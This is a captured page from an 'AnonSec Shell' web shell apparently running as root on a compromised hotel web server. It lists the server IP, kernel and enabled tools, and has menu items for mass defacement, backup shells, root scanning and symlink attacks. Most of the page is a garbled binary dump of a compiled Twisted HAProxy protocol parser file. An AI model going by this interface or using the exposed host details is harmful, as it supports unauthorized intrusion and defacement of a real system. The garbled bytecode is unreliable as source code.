AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/protocols/haproxy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/protocols/haproxy/__pycache__/_v2parser.cpython-310.pyc
o

5�@g��@s�dZddlZddlZddlmZmZmZmZmZddl	m
Z
ddlmZm
Z
ddlmZddlmZdd	lmZmZdd
lmZmZmZmZGdd�de
�ZGd
d�de
�ZdZdZdZdZe
ej �Gdd�d��Z!dS)zD
IProxyParser implementation for version two of the PROXY protocol.
�N)�Callable�Literal�Tuple�Type�Union)�implementer)�
ValueConstant�Values)�address)�compat�)�_info�_interfaces)�InvalidNetworkProtocol�InvalidProxyHeader�MissingAddressData�convertErrorc@s0eZdZdZed�Zed�Zed�Zed�ZdS)�	NetFamilyz(
    Values for the 'family' field.
    r�� �0N)	�__name__�
__module__�__qualname__�__doc__r�UNSPEC�INET�INET6�UNIX�rr�E/usr/lib/python3/dist-packages/twisted/protocols/haproxy/_v2parser.pyrsrc@s(eZdZdZed�Zed�Zed�ZdS)�NetProtocolz&
    Values for 'protocol' field.
    rr�N)rrrrrr�STREAM�DGRAMrrrr r!(s
r!����LOCAL�PROXYc@s�eZdZdZdZdgZeed�Zddddddd�Z	ddd�Z
d
ed	ee
ejefe
dffdd�Zeded	efdd��Zeded	efdd��Zeded	ejfdd��Zd
S)�V2Parserzn
    PROXY protocol version two header parser.

    Version two of the PROXY protocol is a binary format.
    s


QUIT
r)rrz!4s4s2Hz	!16s16s2Hz	!108s108s)���!�"�1�2�returnNcCs
d|_dS)N�)�buffer)�selfrrr �__init__Os
zV2Parser.__init__�data�NNcCs�|j|7_t|j�dkrt��t�d|jdd��dd}t|j�|kr)dS|jd|�|j|d�}}d|_|�|�}||fS)a�
        Consume a chunk of data and attempt to parse it.

        @param data: A bytestring.
        @type data: bytes

        @return: A two-tuple containing, in order, a L{_interfaces.IProxyInfo}
            and any bytes fed to the parser that followed the end of the
            header.  Both of these values are None until a complete header is
            parsed.

        @raises InvalidProxyHeader: If the bytes fed to the parser create an
            invalid PROXY header.
        rz!H�rr6Nr1)r2�lenr�struct�unpack�parse)r3r5�size�header�	remaining�inforrr �feedRs
z
V2Parser.feed�
bytestringcCsd�dd�t�|�D��S)a7
        Convert packed 32-bit IPv4 address bytes into a dotted-quad ASCII bytes
        representation of that address.

        @param bytestring: 4 octets representing an IPv4 address.
        @type bytestring: L{bytes}

        @return: a dotted-quad notation IPv4 address.
        @rtype: L{bytes}
        �.css$�|]
}dt|�f�d�VqdS)z%i�asciiN)�ord�encode��.0�brrr �	<genexpr>|s�
�z(V2Parser._bytesToIPv4.<locals>.<genexpr>)�joinr�	iterbytes�rArrr �_bytesToIPv4ps
�zV2Parser._bytesToIPv4cs*t�|��d��fdd�tddd�D��S)a=
        Convert packed 128-bit IPv6 address bytes into a colon-separated ASCII
        bytes representation of that address.

        @param bytestring: 16 octets representing an IPv6 address.
        @type bytestring: L{bytes}

        @return: a dotted-quad notation IPv6 address.
        @rtype: L{bytes}
        �:c3s0�|]}t�||d�d�d��d�VqdS)�r�xrCN)�intrErF��	hexStringrr rI�s
��
�z(V2Parser._bytesToIPv6.<locals>.<genexpr>rrrO)�binascii�b2a_hexrJ�rangerLrrRr �_bytesToIPv6�s

�zV2Parser._bytesToIPv6�linec	CsX|dd�}d}ttt��t|dd��}t|dd��}Wd�n1s(wY||jkr5t��|t@|t@}}||jvsH||jvrKt��|j|t	krYt
�|dd�S|t@|t@}}	ttt
��t�|�}t�|	�}	Wd�n1s|wY|tjus�|	tjur�t
�|dd�S|j|}
|ddt�|
��}|tjur�ttjt��t�|
|�\}}Wd�n1s�wYt
�|t�|�d��t�|�d���Sd}
|	tjur�d}
tj}|j}|tjur�tj }|j!}ttjt��t�|
|�}|\}}}}Wd�n	1�swYt
�|||
||��"�|�||
||��"�|��S)	a�
        Parse a bytestring as a full PROXY protocol header.

        @param line: A bytestring that represents a valid HAProxy PROXY
            protocol version 2 header.
        @type line: bytes

        @return: A L{_interfaces.IProxyInfo} containing the
            parsed data.

        @raises InvalidProxyHeader: If the bytestring does not represent a
            valid PROXY header.
        N��
r7r��TCP�UDP)#r�
IndexErrorrrD�PREFIX�_HIGH�_LOW�VERSIONS�COMMANDS�
_LOCALCOMMANDr
�	ProxyInfo�
ValueErrorrr�
lookupByValuer!r�ADDRESSFORMATSr9�calcsizer�errorrr:r
�UNIXAddress�rstripr$�IPv4AddressrMr�IPv6AddressrW�decode)�clsrX�prefix�addrInfo�versionCommand�familyProto�version�command�family�netproto�
addressFormat�source�dest�addrType�addrCls�
addrParserr?�sPort�dPortrrr r;�sb�

�

��
�
��zV2Parser.parse)r0N)rrrrr_rbrd�
_PROXYCOMMANDrcrhr4�bytesrrr
rer@�staticmethodrMrW�classmethodr;rrrr r)8s0
�
�
�r))"rrTr9�typingrrrrr�zope.interfacer�
constantlyrr	�twisted.internetr
�twisted.pythonr�r
r�_exceptionsrrrrrr!r`rardr��IProxyParserr)rrrr �<module>s$


Anon7 - 2022
AnonSec Team